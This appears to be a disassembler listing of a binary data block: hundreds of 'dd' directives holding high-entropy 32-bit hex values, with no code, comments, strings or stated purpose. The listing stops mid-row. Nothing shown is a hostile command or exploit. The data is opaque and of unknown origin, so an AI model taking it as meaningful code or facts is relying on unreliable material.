0BCAD817Bh dd 0C03EAEF9h, 96F2FAA5h, 4CE0BF01h, 535058C1h, 1C5152C8h dd 0AE310F5Fh, 0C2134E5Ah, 727B96AEh, 0CF3570h, 53F698D1h dd 7C4C45E0h, 0B59D0B0Bh, 0C761901Bh, 0DD2C4E1Ah, 0B00636CCh dd 2AAF125h, 0FD08338h, 47DB1885h, 0C2F04B83h, 32F28827h dd 5FC01ED9h, 1A25400Eh, 0F6B378DBh, 5EFC5B58h, 88AA7F94h dd 338FFB0h, 12C05E1Fh, 0C78B374Bh, 6B48B787h, 3A829258h dd 0BC40C554h, 390DEDF0h, 74B592h, 0F7972591h, 776A2ED2h dd 0FD8B5E16h, 0BF521D20h, 0A598017Ch, 2B585B69h, 1AA56E9Dh dd 0E715133Bh, 3B55B07Ah, 97610FC0h, 60202893h, 0BF59589h dd 5E8FEAB5h, 94900E83h, 8B80FB5Fh, 0C409B8D7h, 299577A0h dd 7D2864D9h, 7FCC174Eh, 909E90AFh, 689BC6B3h, 818D2903h dd 89653B23h, 1462F5AFh, 51592D76h, 494FB040h, 0FC149D5Bh dd 717B5D5Fh, 967DDC00h, 53E94D4Bh, 80F93DBFh, 11633322h dd 1F18FEF1h, 0D31F0FE8h, 0CD9C0095h, 25C6D135h, 63017B06h dd 28048559h, 3A3E5FF9h, 0F130E43Dh, 0EE3678D6h, 0D781027Ah dd 10CE9E91h, 0EC375Dh, 0A6DF0AD3h, 495BC1Fh, 35A70E32h dd 0EC2BC34Eh, 8D5A5B76h, 36347020h, 806909FDh, 0F1629D7h dd 5437D169h, 0FF00DC4Fh, 56C999F4h, 2BB7950h, 32AA1A80h dd 0B857F88Bh, 4E27E7A3h, 29FECCD3h, 6A958577h, 0A7FE7467h dd 28DE9E5Ch, 20916A12h, 359D0B1Dh, 891491FCh, 40917C07h dd 30BE011Ch, 0DF994207h, 445BD33h, 0DDC320AAh, 344489F1h dd 8B2E4B95h, 0C3B94E7Eh, 540428A8h, 8F0FA3C2h, 0B91D8325h dd 0D3FB4BCh, 0E1DD1C4Eh, 0DC88202Ah, 0A30070D4h, 76F71B15h dd 10013C72h, 2B0CC185h, 0D827BE5Bh, 0AB1A9DF9h, 0B0C81374h dd 0B631219h, 0F3048610h, 167B483Fh, 92E8CA46h, 712DAB58h dd 0A7D13D29h, 0B4DE8CA6h, 8321E35Fh, 1FF1FE12h, 0F5C9CCEDh dd 37B794D8h, 0BDA10095h, 7E64A6E2h, 7C678B9Dh, 6709DC23h dd 0FC0A55A1h, 0BBC7129Fh, 9CEAEB64h, 1541A9FBh, 0EE99343Ah dd 0D9D09409h, 0A80F9D79h, 39859D44h, 0E89BBA6Ah, 0E3FB28C0h dd 0BB04C90Fh, 50D631D1h, 9B2A5A8Dh, 1464DC5Fh, 0DB05E509h dd 200AA83Dh, 0C8A11235h, 0C9AB1405h, 0AA9205E0h, 0AB54C099h dd 0CD4B298Ah, 1122BD8h, 508DB2F2h, 72DB6A46h, 71145EC0h dd 0B8014739h, 803DF268h, 802B96EBh, 3489D91Dh, 479FED8Ah dd 0DED3C0ABh, 1A5297B4h, 0DC536Ch, 312D3E95h, 13882568h dd 0B01D9C05h, 2821AE9h, 0F80D95EEh, 7A9A979Fh, 0EA4847Fh dd 6A5A41CEh, 4A3300AEh, 0A9965BD7h, 8A664CF1h, 95D677C1h dd 532BE081h, 0ED7B1A9Dh, 0FCE1C1BFh, 220F2034h, 7325AFE2h dd 0B673D0B7h, 0B99584FCh, 0E2A6E81Ch, 0D8D7DB50h, 6D97FC79h dd 67156442h, 42A07F05h, 0C65E2FD1h, 0BB0292FAh, 0CE8BEB5Fh dd 583F7461h, 4695870Fh, 59154BAAh, 2F2C74h, 95F263E9h dd 382C6CD1h, 8C045960h, 8B7F1F14h, 0FC8AD3C1h, 4212D696h dd 6A5B18F7h, 12F61BFCh, 0D63FA9DAh, 1BC8087Bh, 7ECD5012h dd 310A5238h, 0ADD535BDh, 0B5D0337Bh, 89700E0h, 5C6220F4h dd 9D142989h, 182C0CD9h, 1EDCF98Bh, 9B0B4F5Eh, 4537C030h dd 26BC8AC9h, 4D6CC8Ch, 540CE8FFh, 90C7006Eh, 914DA328h dd 826100E5h, 7BDB8187h, 102756A5h, 0B70D425Fh, 2A0E807Ch dd 0F7A1B970h, 0C9222C13h, 0DBD13C0h, 0ABB30790h, 6BFA8A50h dd 0AAB4D350h, 6FFE6A16h, 2AC5ADAh, 0E3C48301h, 2E71BD0Bh dd 959E5DD5h, 0D77B6789h, 407B4DADh, 0A91FF9FFh, 0C6C5F800h dd 0E6CB81D1h, 346C2540h, 990DCE6h, 242CB520h, 1EAFD1FFh dd 7B502D12h, 44A61497h, 0C916B37Dh, 4E88026Ah, 6F5D00ABh dd 544538CCh, 139D9029h, 133C81ABh, 0EB1BE8h, 272DCC52h dd 358E4A18h, 0EA01544Bh, 8A89B3BBh, 0A78776F6h, 23F5DCCCh dd 0CDB202D2h, 76E3207Bh, 2B908197h, 2E1279BDh, 6A4F1ACBh dd 2A839F1h, 85EA17D9h, 21938297h, 99E90218h, 20791CDDh dd 2CA05E28h, 7D9B1D2Dh, 12964BD8h, 0ADB50957h, 935F2C96h dd 2416D325h, 3637A50Fh, 16BD2D00h, 4B8F6245h, 3E8ACD2Fh dd 5DF030E6h, 0D012587h, 0EFACF9DAh, 0DA2E62B2h, 0C009482Fh dd 0E8BD1A0h, 996B1E76h, 41C61C56h, 0FD9D331Ch, 6ACF6427h dd 10E6FF4Ch, 9A4805C9h, 0C508945Ah, 40FFCBh, 0BEA763BBh dd 6DB19705h, 40581745h, 8A43C2B4h, 80E2FE3Dh, 0ECADF17Eh dd 2588C62Ah, 6240A56Ch, 0C095B096h, 1295F7C3h, 0B070E625h dd 7150E488h, 154B5DF5h, 102210B3h, 0E69B6071h, 0A77DB58Ch dd 80D7B961h, 0A4742D13h, 95320B7Fh, 5A4FCDh, 0BF51C8B6h dd 0FE430D04h, 32BB5F7Bh, 2E8B8730h, 0A50E1075h, 0F28C5E3Dh dd 6AAC030Eh, 0E8B3D6FDh, 58E8AED3h, 8E626C6Bh, 925D1209h dd 92AF0929h, 285B5C33h, 58A3BD7Bh, 1010C82Bh, 0A14B2ED1h dd 9DCCE61Ch, 0CC4ABF05h, 0FE854D26h, 340D57EEh, 4B54B8D4h dd 0BBDCA489h, 0C47E01F2h, 0A230DE7Ch, 0BB926EF4h, 91475EFEh dd 43B7061Fh, 0A60F60E9h, 0FFA0021h, 5455B386h, 0C03C56F9h dd 0CF4EA832h, 5F852495h, 1C98CEEh, 0D3759525h, 6F3391EFh dd 17A56AD6h, 2FE12h, 0E2A81EEFh, 596D099Bh, 793400CCh dd 0DF359B45h, 1B023B00h, 4819370Ah, 0E7B3B0D1h, 994BDD2Dh dd 0ADDEC4Ch, 7A577395h, 0F1C35FCh, 10BB2EC1h, 4AA5E1CDh dd 0B0B1EE79h, 8B0102DDh, 5A302FDFh, 9A424BBh, 23B92F61h dd 0F780E4A3h, 4B1FBCBCh, 200F5036h, 2B2D1181h, 0C9B36DC0h dd 0A60C1477h, 5ABA0520h, 0C0892A11h, 7DEB6B3h, 0FC852E4Bh dd 0C9A0D1F7h, 4A129B64h, 0F1E71A2Fh, 1F3016F2h, 823D4AFEh dd 0F8041AD1h, 1386EAEh, 295335B7h, 883FF05Bh, 0FC090705h dd 80DB6FE2h, 69DADD71h, 0CFB802B4h, 286AC9Ah, 1C93E1DDh dd 0E5A62Fh, 0A740732Ah, 48C5A962h, 0A85AC1BDh, 12BAB5FAh dd 0FA7E0Ah, 0E2A7C0D1h, 12ECD4F8h, 328D8323h, 9540E0CCh dd 640710DCh, 0BC268830h, 0F65B3232h, 3AD3EBEBh, 4573C50h dd 8BC6B49Fh, 0D634BCD8h, 0D5B8FABDh, 0D809D3F8h, 7917874Ah dd 0DE605931h, 7913D590h, 0A8871A03h, 809D7A02h, 1EBE039h dd 4FD8C861h, 2F5EF58Ch, 520054B3h, 6448D630h, 8E00B1E8h dd 414DD3F2h, 0B59D0161h, 812470D2h, 600953DFh, 44397935h dd 1A233FA0h, 661CD900h, 48889067h, 4D16EF86h, 98A6F91Ah dd 25CC4380h, 3BEE15A6h, 1353595h, 0FFDCC8C5h, 6DB2AE1h dd 4DCC7280h, 0C7263CB4h, 1F60BFF3h, 493489h, 0AF1A112Ah dd 6D82D79Bh, 3644E62Ch, 0EFFE4160h, 86D00014h, 0F4EE2E6Eh dd 9697565Fh, 453256Eh, 24F45F5Ch, 573B41Bh, 0AA4A7963h dd 31A4288h, 0CB2D885Dh dd 70F8C403h, 4C054F98h, 0AE1FC84Eh, 975BD5F4h, 25457D94h dd 5E396A30h, 865B2C13h, 4A20DC45h, 6B2341ADh, 21EEDCC5h dd 2FD98C65h, 1F3A206Eh, 41E29325h, 54DB75Fh, 84A96979h dd 223DB9B0h, 2C10977Bh, 0D672CC0Dh, 0A553F100h, 5EA66C33h dd 0DD6000E4h, 26A0F657h, 9A9564C4h, 7FCF6053h, 6BCA0FD5h dd 0F292DB80h, 646F4B34h, 0B2687800h, 94FFF415h, 2120A4B0h dd 0DF905C0Ah, 0C5F064C0h, 565A480Eh, 5160F5B0h, 212AC653h dd 5A906160h, 970EC042h, 2D103F16h, 3DD07481h, 0CB6F6A4Fh dd 15B7750Fh, 4E90CBC2h, 2F54EC62h, 6E8B5650h, 0D98EC8F9h dd 0BED449DBh, 2EA2F8Ch, 5BDC0282h, 1A4453E5h, 7A731095h dd 0BB8B004Ch, 0B26A7B1Fh, 0EF5B922Fh, 663F5EF2h, 0B7DF8938h dd 0F0C0A022h, 2E0825A1h, 85B65CEEh, 1DCE2D4h, 1C16A20Ah dd 0CE302755h, 0F4AD625Eh, 630CF4B8h, 0ECD07543h, 0E941123Dh dd 2375416Ah, 2F0C059Dh, 0CE3C239Dh, 63192F37h, 0C4B0119h dd 0F8302F8Dh, 256A9641h, 660914C6h, 1880E6BFh, 8857A3h dd 7FBA8FC7h, 9451354Dh, 8096BC39h, 0F64BD5Bh, 97F72340h dd 0EAB52FBAh, 0B96FF081h, 0B629BD23h, 0DE03511Dh, 0ADAFADC5h dd 0DB81F940h, 60258E87h, 5909F340h, 3AE181Bh, 646E9C20h dd 55C48A86h, 74502D91h, 100B6B4Eh, 0C6022F62h, 0F55CFEF6h dd 40D06DE9h, 5684DF4h, 0C9BD318h, 0DD81FA76h, 84D00F64h dd 0B8DEA952h, 0B4F84F27h, 12E49DA5h, 9BBC1697h, 0EB3D58F6h dd 29E8EC06h, 260B252h, 144ABF50h, 0E9D50275h, 316E8450h dd 21D351Fh, 0BEB24CFCh, 669930C8h, 0D53FEB81h, 3BBB822Ah dd 66180EE3h, 2E940004h, 6855AF74h, 600CD229h, 90AC2D3Bh dd 0B3A85A8Ah, 8D290BDDh, 0A505FEDDh, 56E9F9D1h, 5207D4D3h dd 3554C198h, 56662652h, 0AF4251DAh, 78B5FB60h, 3B1C6BC8h dd 6F273AE9h, 0DDD04067h, 1D97F707h, 0DB5C72CEh, 5D0AD13h dd 9D03699Dh, 850846C7h, 0CBBB81B2h, 8939F4D1h, 7C2DE932h dd 39A70C2h, 0D03FF397h, 0AC0B0232h, 0EA38684Eh, 32EF75D7h dd 64EF0E40h, 79010131h, 8B34C0C8h, 0E1C089FEh, 0E187F61Ch dd 0F275BD33h, 0ADCD5909h, 2E02C941h, 0AAACCD74h, 91F454DAh dd 72A69693h, 9E697402h, 9D7787Ch, 12116476h, 37E483h dd 51DEFF53h, 6D01770Fh, 7D7AE2C9h, 0E03AAE14h, 274AF505h dd 17C8609Bh, 2C0D0FC0h, 0AD109550h, 0CD008588h, 0D6586284h dd 9516EEE0h, 5BDA9660h, 50A31997h, 12883E70h, 0E6391F52h dd 83DB4B95h, 848F3183h, 0A9F29CE0h, 0E1A14AABh, 561CE40Bh dd 0F4D7CD0Bh, 8B8FD131h, 88DA8D01h, 7BB75F4Bh, 0A0C9F64Bh dd 174BD6Bh, 0C8E845B4h, 3C89A4E9h, 0D7B392FBh, 0B2C78009h dd 46D66B76h, 8CB0001Ah, 9E7F7560h, 25CB98BAh, 6AD93071h dd 2F555C25h, 571747C6h, 34EADA13h, 0AC7ACA5h, 5569B531h dd 194B783Bh, 60899D9Dh, 187604F5h, 14A0F6E9h, 0B84F6417h dd 3A33516Eh, 0C81C0DFh, 0D44CB249h, 8A32609Dh, 7D6182EBh dd 0F066792Bh, 3E79BBA1h, 27AC06C4h, 0A8DCB9A5h, 0CF840118h dd 0D9C421B6h, 17CFAC92h, 785125FCh, 0F8043653h, 9A4013E9h dd 6FE1C6D5h, 8BFE603Eh, 0F73784C0h, 0AB7128BAh, 4EE4EC00h dd 3CF6B0D0h, 68006B3Bh, 0E3BBE156h, 5F255463h, 59C0D35Bh dd 5AD4181Ch, 4167D9C4h, 2E280169h, 7941C18Eh, 0CB72E06Eh dd 89D252B7h, 4416FAC9h, 4612A526h, 15F10351h, 0E9BE5CD6h dd 0C600F264h, 85E9BBADh, 2F7F614h, 0D7381EEBh, 2B60EEB9h dd 6E144165h, 972C5B35h, 970460B0h, 5BBE244Eh, 0FC99A140h dd 25BCE28Ch, 85C5AC2Eh, 52763E11h, 0B712E18Eh, 4E70E768h dd 3A8047DAh, 77075D93h, 0A9ABF568h, 817560A5h, 329C09EFh dd 73713B37h, 0DD315763h, 6320D3C9h, 68E92DDEh, 0CD9F97D0h dd 0BF07C011h, 0A2599AE0h, 13D1115Bh, 60ECC12Eh, 0B5A4BAD2h dd 925FF400h, 0A913BC3Fh, 4A9D0B54h, 8A333A11h, 33ECC602h dd 5C5B45AEh, 43B3609Dh, 0BF126690h, 49AF2183h, 0E4F93240h dd 8FA70B2Dh, 0E374D33h, 0D558882Eh, 4B00A0F4h, 8424ECE7h dd 4E4AAA9Bh, 0B9E2C638h, 6D8C70C4h, 959E81EEh, 4DC86A25h dd 7881B305h, 0D285D91h, 8919B882h, 906DE1BDh, 0B041C5A4h dd 1C36BFC6h, 0D1D60B7Fh, 2D8A4D9Bh, 1A4109C5h, 0FC135Eh dd 0F9F49F97h, 7C14DBB6h, 0D8D8A8C9h, 0FAFBB779h, 13ACB78h dd 0E07CE6D5h, 2EE714D4h, 19235D6Bh, 6A990703h, 40A9AA38h dd 9564720Fh, 989B35EEh, 60A9B58h, 31CEE6B7h, 9109584Bh dd 98D1FF23h, 28F7C06h, 76D9B019h, 7F5C0FDCh, 0DE3E6C51h dd 0B30FC2C2h, 0E2FEC360h, 3EA15A1Ah, 618C5BDFh, 0A698026Ah dd 4046FA95h, 64955009h, 5E4B075Dh, 0E3E40D37h, 5AF0E101h dd 0A625B43Fh, 0FCE38516h, 1B338E99h, 0B38E203h, 7ED82E76h dd 3525AD70h, 2D3C0731h, 0E95B02D8h, 6E5C0C24h, 836D9658h dd 51F3B21Dh, 47E3FC12h, 4BBFBB01h, 0D8905624h, 978F531h dd 278E71B7h, 84AA0AF8h, 180B6DE4h, 7429D9CDh, 0C55CE94Dh dd 5911FB40h, 0E40301ABh, 0C93890B7h, 2C122EC7h, 18F97EAAh dd 1FE4D02h, 0BF7B9516h, 4BB6684h, 0A00C2A3h, 9DEADF9Eh dd 909FFF6Ah, 16FBA8D7h, 0BAF7D963h, 0E4053A34h, 4794765Ch dd 0EE0A84BFh, 0E101C36Fh, 0F89E4D5Eh, 8B01D860h, 6E98FB4Bh dd 0AEED8B27h, 0E0B0A8C8h, 95292550h, 5B4BD5F2h, 528E5E82h dd 8960250Ah, 574154D6h, 0D93A615Ah, 0BD730058h, 1A3FF641h dd 14C91D0Eh, 33C6D440h, 0C709D59Dh, 6C71E45Fh, 53800450h dd 4D2EF7F5h, 2B4BD58Bh, 0C2AC6A13h, 6741725h, 0C124D8E7h dd 33320CF3h, 0CB901352h, 197D30Bh, 23DB8058h, 8155002Eh dd 5C1D9EC3h, 14B73140h, 80D18B12h, 0EB2F0913h, 4B897162h dd 2E164C5Dh, 3EA58C05h, 0ADE9810Bh, 0D7EC2D1Fh, 0D1AD731Eh dd 2D1C2873h, 73D11A85h, 1C000891h, 0EAAD8F50h, 205F3243h dd 7D0F88h, 5E7589EEh, 90532639h, 72925F4Bh, 136A711h dd 65ADC919h, 34E9798Ah, 10574B93h, 25B5017Bh, 64CC2F1Dh dd 0C5601F45h, 0A0A5F8D9h, 681FE18h, 62DCE6D3h, 78806C1Bh dd 0D4B829B3h, 1250B095h, 2A1083E7h, 0E25826BDh, 6AA33933h dd 5499EE85h, 6DB5E06Eh, 3BD5BC12h, 8A0737E3h, 6BACB9DAh dd 98D07B7Bh, 0B8DC0259h, 60BF7D27h, 8CA0EA59h, 0A61E2920h dd 6CDF12DCh, 0FBC016B2h, 0DF821875h, 0FC9D910Ah, 7F3E6E6Ah dd 49B56690h, 0DB3BFC0Bh, 0BBEA8032h, 0E1B8FB9Ch, 0F5199C6Fh dd 13007EF8h, 680CE233h, 19DDD76h, 0CF886F59h, 88BF9E6Ah dd 1230A9CEh, 4D99E25Fh, 152D1637h, 120032E6h, 0B7C94821h dd 950A4DDFh, 0ED9CEFB6h, 90D1908h, 97716159h, 218D01E0h dd 0B7BD950Eh, 3DE2C712h, 51CDB709h, 1C710A73h, 0CE004318h dd 0B3EDE664h, 0A010DA6Ah, 822DDD8Ch, 9146B555h, 0CCB48017h dd 4BB3D04Fh, 0D3118A06h, 4A2A5EF0h, 2DDECA11h, 806BBD8Bh dd 0D31268D8h, 0E31CFEEDh, 0FB2FB860h, 0D9E7D876h, 6177631Fh dd 0F903AE02h, 40645D0Bh, 0A750CC4h, 0F83E70AEh, 0B7BDE1FFh dd 0EDF0085h, 0E963D742h, 9400544h, 0DBA8C64Ah, 5D46C959h dd 7510BD61h, 0C7008DA9h, 44985FFAh, 3DBADA34h, 0F0BBC89Ch dd 76CB8089h, 5366A559h, 0DCD1B64Bh, 65765225h, 2F308BCh dd 73024426h, 0D77B4E3Eh, 34E29E4Dh, 2ED356B1h, 301DDCCAh dd 8F8156C6h, 842C013Ah dd 9A8C02Eh, 1941A98Dh, 0C8E2172Ah, 4C031C17h, 0B010A805h dd 0E4F5B8B6h, 6CF200B1h, 0ED8028B7h, 924AC2DDh, 12EEDBD7h dd 4D218B9h, 0AB12B91Fh, 8D29F370h, 880B5E7Dh, 924ABEEFh dd 0BD85571Fh, 2DF40D6Dh, 0A7214169h, 9884D0FAh, 303920E1h dd 8ACE6800h, 5250B8C6h, 61601257h, 0BF2F805Bh, 5A1B40EAh dd 0D35A8158h, 0F847B179h, 0BD11742Bh, 0B8DA8F4h, 890F546Ah dd 2951F30h, 91374EB7h, 0B4E680DBh, 6347FA1Fh, 0F8AD4507h dd 0ED602F89h, 2983F4Eh, 9D03A024h, 0BE523111h, 2201802Fh dd 0DD1B7124h, 14913437h, 7280D48Bh, 2D593178h, 0C127B295h dd 742B32C3h, 5984FE27h, 5B5F0D09h, 0A6F6AD12h, 0FB6300D6h dd 6CA93B9Ch, 9AA231D4h, 5C258254h, 0BD23E127h, 807DAF15h dd 0F5D3BBEBh, 550E042h, 0E46DA3BFh, 79F2A126h, 92CBC13h dd 15E3498Fh, 5E270759h, 4A02DE23h, 4138D80Bh, 208EF8ABh dd 0B1001DB9h, 90686191h, 43C761Fh, 0EFE26EBBh, 0F17AC63h dd 92691C6Fh, 85ABEA3h, 810E17E6h, 0C6CA82D7h, 0DEC554Bh dd 2499D10h, 0BF3B424Eh, 0EC7D2F55h, 5EB3AA4Dh, 210CDCD7h dd 5A534DD0h, 5FF73297h, 2BD8A19Ah, 91BCB595h, 46368914h dd 0EC314BF4h, 26189DBh, 551611FBh, 5309D21Eh, 515FA0B7h dd 232E461Fh, 949CBF05h, 84FE496Ch, 1D9EEB6Bh, 1B767E80h dd 3109281Eh, 51A7459Dh, 0E02FD7D3h, 0BB018213h, 7FB478A7h dd 0C378701h, 7C2E4C2Fh, 4AB60520h, 22F28A9Eh, 98C885E5h dd 0D98B1BD8h, 0BDC1CDB6h, 752A01EDh, 2D266F96h, 598E73B7h dd 12BE1816h, 0A3F9A3F7h, 0E3A240CBh, 5DB1FC2Ch, 0A9101C89h dd 0DCD87C3Ch, 6075530Eh, 0E817C084h, 0A5F799AAh, 1DCD0B8Bh dd 0D35A215Eh, 57EF5055h, 2B64D802h, 5520799Dh, 9E930D96h dd 2C9D058h, 5F54232Fh, 76765260h, 0C28B57CBh, 1BA0A9E6h dd 0B95722Ah, 0F6345683h, 8795A404h, 16B7402Dh, 89B2DA5Bh dd 0BEF1C631h, 0A21D1270h, 0B2884AA0h, 39CE017Eh, 0C75E1BB6h dd 57A8C7B5h, 4F096674h, 50142B4Ah, 0B44D95A4h, 543E65C2h dd 0AFE46BB5h, 78CD7BBDh, 565A0746h, 1E29BBA8h, 3F022C91h dd 6FCF25FEh, 1864694Dh, 30E2A061h, 894F7D4Fh, 3C4CBDA2h dd 0BE4EF92Fh, 50C3F395h, 0A2130F56h, 9EC83EE9h, 8B3003FDh dd 0BF54DBFh, 0B350CDB8h, 4EC72049h, 0C14DBF20h, 0ED960437h dd 0B83DAB63h, 22020D6h, 0DE52BF5Fh, 82B26E7Ch, 390001D9h dd 75F29051h, 6B622E89h, 2C850891h, 25AA9B2Fh, 8345FEEAh dd 7BEE4212h, 760E25F9h, 5D49090Eh, 0D4A7B171h, 8F1B40A3h dd 0B058F8CEh, 0CB03229Eh, 7276FA8Eh, 139BD04h, 23976FAEh dd 6E400318h, 30E5F380h, 0EFDD2C4h, 7824B005h, 8EEC1444h dd 0DE45B525h, 503EB620h, 0ADB392D4h, 947638BBh, 7E7DB93Eh dd 33BBDF00h, 6B6FB2AAh, 56730920h, 0DB522ACAh, 0D073F397h dd 0EE1F6416h, 5C4F2912h, 51F9294Bh, 0E77445F3h, 2BD0B1EDh dd 4A4A1060h, 7B0CCD42h, 8E598120h, 287200CAh, 5ACF78F5h dd 4092F94h, 5044698Ah, 3E3797F9h, 6DF8803Dh, 1229A894h dd 0A38C4F2Ah, 0DB884FE9h, 3FD402F9h, 0CB93A8CEh, 1582956h dd 59931B5h, 6AF48839h, 0F99DB5C1h, 36F412C2h, 0F3AFA241h dd 0DBA330h, 710FFBC4h, 7CA11C22h, 98180509h, 0E9965467h dd 554976CDh, 14F8A000h, 0CA2DE13Bh, 1EA96450h, 3CC75Fh dd 0EBC2CC59h, 0A61C0E3Bh, 0E100B598h, 55DF4FA1h, 5ACEA3D8h dd 7AAAA1CAh, 0DFC9EE9Bh, 9ED02DDh, 0C4688B12h, 0FF5F00B1h dd 0F2AE769h, 0FCEC5236h, 5BD67C12h, 0CFA0DAA7h, 6B737C9Fh dd 28397800h, 559D3351h, 0BBCD960Ah, 401A0590h, 7B27EBB5h dd 0D5D9820Bh, 4D765631h, 8A922B2Ah, 10B4650h, 637ECBD2h dd 57564EB2h, 7D95318Fh, 6DBC2A2Eh, 309517F8h, 584F87E4h dd 0C22B4E5h, 9FBCE695h, 0B7F85FC6h, 0DB6AFE2Fh, 37187859h dd 4D6175Ch, 0E6D0ABBh, 0E95B44ACh, 1205EC07h, 0B7E27FE9h dd 0AC0F493Eh, 0BD27D75h, 562D93F3h, 0AFD1C005h, 8A1D346Eh dd 8E95017Ah, 2BDB09CEh, 897A5128h, 0B1FAF623h, 41026A25h dd 90022475h, 0A50079C6h, 0EC3D4573h, 0B0C402DAh, 0B9D75EABh dd 728BC45h, 0B436D9F0h, 6599F72Fh, 1120BE9Dh, 122EB038h dd 0B04D7B18h, 604AAD7Dh, 1AA05FCh, 7EF96CDCh, 382B62E9h dd 8C90F55Fh, 7912739Fh, 41A938B8h, 6A1CE1A2h, 4C4D63CBh dd 31F07BADh, 27560B66h, 4F8040FBh, 3DAF35CBh, 0CC27BBB0h dd 136450h, 0F566CA3Ah, 144EE076h, 0C684A100h, 0F6E873B2h dd 42AA1263h, 0B6E052DBh, 99EBE591h, 0C8252A7Bh, 9407ABAh dd 59880F2Fh, 61AC3837h, 20311F32h, 85C83BEFh, 815501CEh dd 4815FEC7h, 0F1672B5Fh, 0D920CBD0h, 0CC774A0Ah, 957131D4h dd 0CBBE4DB4h, 9709FD6Eh, 48030EBEh, 6592D96Dh, 487F57E2h dd 27BD89ABh, 0B55C1D7Dh, 0BF100A51h, 4A1C1F71h, 0CA26B03Bh dd 0E6170390h, 8C7F670h, 252D6DB5h, 850C305Ch, 25805179h dd 9869C5F7h, 32EC15DCh, 164BF80h, 0BB016C36h, 97AA260Eh dd 98ECF812h, 0EA653113h, 232AD7Ah, 47B5565Bh, 29E18895h dd 0EA63B19Dh, 0C0FB4A72h, 0C5BD33ABh, 0C41B126Eh, 61AB1FF1h dd 0C291509h, 2DE9219Dh, 0B1BD7925h, 2A048D1Ch, 3D48C0F6h dd 90D43CC0h, 0C11710FFh, 9C0C399Ch, 0D2094DBDh, 2C30AE0Ah dd 4A6CBF66h, 0BD0FB422h, 5904252Dh, 4E3CA05Ah, 0F9D9D2E9h dd 95B546F5h, 12E69009h, 50F35A9Dh, 0C4FE12A5h, 272D5Ah dd 9344C381h, 1578950Fh, 1FB69ED3h, 0E2962200h, 0EDBA55D1h dd 9FD83F4Ah, 31F0408Fh, 780DFDEFh, 59F8C96Dh, 0BD31858Eh dd 0B9D346E5h, 0D3BF6074h, 274C7888h, 0F6034127h, 697D209Ah dd 96BC2FCh, 0B8F6BDBDh, 6ED73027h, 0DC8AFBC0h, 0CEA7B84Ah dd 0A501E5E0h, 60AAC90Eh, 68CD12BAh, 53F3D2Ah, 0C52E089Eh dd 802ED1A5h, 4ACC41F3h, 3E0263AAh, 0E4F2B9D3h, 0A0915D33h dd 84E33A5Bh, 0CCDFB713h, 29535126h, 665B259Ch, 0BF57031Ah dd 2FCFB450h, 1B56C0ECh, 5C4E4F7Bh, 26BD45B8h, 57BDB2A1h dd 0AB11C204h, 4C2D988Eh, 0B280AF7Bh, 0A72CEA8Ch, 88E5002Eh dd 0CF176445h, 0D7A63423h, 0FBE63ABFh, 0B5825053h, 7C68BB2h dd 4C0AE1FFh, 192A98D8h, 51E4BE9Ah, 0E1DE3F56h, 0A8F93AC4h dd 5F47A2E9h, 4E60406Fh, 12878A62h, 0A2A174D8h, 51E28DEEh dd 491DC502h, 6E6B6023h, 56BD5A2Eh, 0AA513285h, 122CEC08h dd 66FCA15Bh, 162FF028h, 3DD40287h, 64FBCB25h, 0A7F56641h dd 89E8545Dh, 0E352DFBFh, 98014820h, 0B7024451h, 0CFDDA65Eh dd 2FB0C966h, 0ED4ACF01h, 0C13B04CDh, 3089D1E7h, 61801A87h dd 0BA18C390h, 51A8A2E2h, 0D57CB05Bh, 0D3972FFBh, 98D2BB1h dd 4A0F8F34h, 0C970AE8Ch, 0BD4F3FDBh, 32056A50h, 0DAB2779Eh dd 8E07CEE8h, 322D3394h, 3DFD61E8h, 677C0033h, 5751F656h dd 35CC5A1Ch, 0AD080AE4h, 0F7810009h, 41AFAEA2h, 0DE496804h dd 8E84FB53h, 0B62849A8h, 8DC281CCh, 0ED179266h, 20A9DD2Eh dd 1112AA2Fh, 11044525h, 9BAB1BF9h, 0C414C86Dh, 8052AC34h dd 13D27A89h, 55770067h, 0C4CB9080h, 2F0435EBh, 14BF9C9Fh dd 0FF5306EAh, 0B52E5A63h, 0E9841B99h, 99F701D7h, 33A764A0h dd 2D3F59B7h, 4A38A3F4h, 6A5A7ACBh, 0A8B44F21h, 17D89CC5h dd 5AA5F713h, 4C89909Bh, 10A79459h, 3A9E81EFh, 97008584h dd 0EA3414B3h, 6E176704h dd 0B2F6C73Dh, 0B43019B2h, 0D91817ACh, 845138Eh, 0D780097Ah dd 0A1C1CFA5h, 80B80EAFh, 0F66260DDh, 647F01AEh, 5B6124D5h dd 25BBC0EBh, 504A0473h, 2DBB1C4h, 9DBA6C4h, 0BD1323FEh dd 34521705h, 0B2B2F624h, 34BD301Bh, 5E6A9D3Eh, 0B685BE0h dd 6B8FC08Dh, 7287B8F9h, 58A990C3h, 77EFBF8Fh, 5A20756Bh dd 19834F15h, 0E8E38101h, 503B8580h, 0C2049830h, 5F565231h dd 91D01FF7h, 0E6ED8B14h, 95311340h, 6AB0E1F5h, 19C8C59Ah dd 1A20FCC0h, 2C302E88h, 49C14497h, 0C0B1ED61h, 0BFBCDD8Fh dd 45AC6C0Bh, 0E9D1F921h, 70435D7h, 59250A71h, 0EB9556F0h dd 9D23B842h, 1D3F96B5h, 162D4D09h, 3456C6C3h, 9559653h dd 0D290BF66h, 81BB1057h, 215C79CFh, 0A6D7414Ch, 772A606Ch dd 1300229Eh, 2C0B5EF7h, 5B6CD6h, 0C7178C55h, 33C13124h dd 9B618AB6h, 91F9BA47h, 5AB73Fh, 1E82AE8Dh, 9D5DBB31h dd 0AC5F9F04h, 2BB0A2E7h, 0F700F544h, 0C50D9EC8h, 175899h dd 13445563h, 8247F391h, 0CAAC7D29h, 0EF038C62h, 980A60CCh dd 0DA00BD09h, 8ABF11C9h, 0BE3532A6h, 9D316025h, 3A970349h dd 904623h, 15CC3AB0h, 0F26B31EEh, 27404E5Ch, 250B514Dh dd 0C6E11C6Fh, 342EF5ECh, 0E11D801Bh, 2212EF9Fh, 15F85096h dd 533AB1C0h, 997A2CA4h, 91106F00h, 5E6EB632h, 0BD51293Ch dd 876281BBh, 0D048BF20h, 0D011EE6h, 183CD745h, 0AEF09649h dd 0B25E0F1Ch, 0E9136184h, 33B80Bh, 0D4881E7Bh, 0DD96673Ch dd 254E1798h, 19FCBE17h, 647C09AAh, 0E4ECh, 738A96DAh dd 0E721EB20h, 0A47ED204h, 78B907A9h, 0F96AFFD3h, 73E2D800h dd 798EC618h, 38F90F71h, 0B74ADE7Bh, 7BADF9DEh, 34EED80Bh dd 986D7401h, 30A98D29h, 139EE72Ah, 87C5B260h, 